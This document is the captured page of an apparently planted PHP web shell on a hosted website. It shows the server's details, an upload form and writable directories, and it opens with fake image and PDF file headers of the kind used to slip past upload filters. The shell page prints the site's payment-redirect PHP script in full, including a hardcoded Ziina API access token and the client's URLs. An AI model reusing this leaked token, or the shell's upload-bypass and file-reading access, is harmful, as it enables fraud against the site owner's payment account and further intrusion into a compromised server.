%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/sumupapi_old.php
<?php

session_start();

include('dbcon.php');

define(
    'BASE_URL',
    'https://dataduck.in/client-project/meatandgo/'
);

/*
|--------------------------------------------------------------------------
| Currency Fallback
|--------------------------------------------------------------------------
*/

if (empty($currency_code)) {
    $currency_code = "EUR";
}

/*
|--------------------------------------------------------------------------
| Ziina Access Token
|--------------------------------------------------------------------------
*/

$access_token = "wcXHOTsOIsFCyCQxzrfzlek5xvknklUmyV3W5oTxL6eJxiAna+1ZVeIZ/OLcEKOA";

/*
|--------------------------------------------------------------------------
| Get Order ID
|--------------------------------------------------------------------------
*/

$order_id = isset($_GET['order_id'])
    ? (int)$_GET['order_id']
    : 0;

if (!$order_id) {

    die("Invalid Order ID");
}

/*
|--------------------------------------------------------------------------
| Fetch Order
|--------------------------------------------------------------------------
*/

$stmt = $conn->prepare("
    SELECT
        total_amount,
        unique_order_id
    FROM orders
    WHERE id = ?
");

if (!$stmt) {

    die("DB Error: " . $conn->error);
}

$stmt->bind_param("i", $order_id);

$stmt->execute();

$order = $stmt
    ->get_result()
    ->fetch_assoc();

$stmt->close();

if (!$order) {

    die("Order not found");
}

/*
|--------------------------------------------------------------------------
| Order Data
|--------------------------------------------------------------------------
*/

$amount = (float)$order['total_amount'];

$unique_order_id =
    !empty($order['unique_order_id'])
    ? $order['unique_order_id']
    : $order_id;

/*
|--------------------------------------------------------------------------
| Payment Data
|--------------------------------------------------------------------------
*/

$data = [

    "amount" =>
        (int)($amount * 100),

    "currency_code" =>
        $currency_code,

    "message" =>
        "Order #" . $unique_order_id,

    "success_url" =>
        BASE_URL .
        "api/payment_success.php?order_id=" .
        $order_id,

    "failure_url" =>
        BASE_URL .
        "api/payment_failed.php?order_id=" .
        $order_id
];

/*
|--------------------------------------------------------------------------
| Ziina API Call
|--------------------------------------------------------------------------
*/

$ch = curl_init(
    "https://api-v2.ziina.com/api/payment_intent"
);

curl_setopt(
    $ch,
    CURLOPT_HTTPHEADER,
    [
        "Authorization: Bearer " . $access_token,
        "Content-Type: application/json"
    ]
);

curl_setopt(
    $ch,
    CURLOPT_RETURNTRANSFER,
    true
);

curl_setopt(
    $ch,
    CURLOPT_POST,
    true
);

curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    json_encode($data)
);

curl_setopt(
    $ch,
    CURLOPT_TIMEOUT,
    30
);

$response = curl_exec($ch);

if (curl_errno($ch)) {

    die(
        "Curl Error: " .
        curl_error($ch)
    );
}

$http_code = curl_getinfo(
    $ch,
    CURLINFO_HTTP_CODE
);

curl_close($ch);

$result = json_decode(
    $response,
    true
);

/*
|--------------------------------------------------------------------------
| API Error
|--------------------------------------------------------------------------
*/

if ($http_code >= 400) {

    echo "<pre>";
    print_r($result);
    echo "</pre>";

    exit("Ziina API Error");
}

/*
|--------------------------------------------------------------------------
| Redirect To Ziina Payment Page
|--------------------------------------------------------------------------
*/

if (
    isset($result['redirect_url']) &&
    !empty($result['redirect_url'])
) {

    header(
        "Location: " .
        $result['redirect_url']
    );

    exit;
}

/*
|--------------------------------------------------------------------------
| Fallback Error
|--------------------------------------------------------------------------
*/

echo "<pre>";
print_r($result);
echo "</pre>";

exit("Payment URL Not Returned");

?>

VaKeR 2022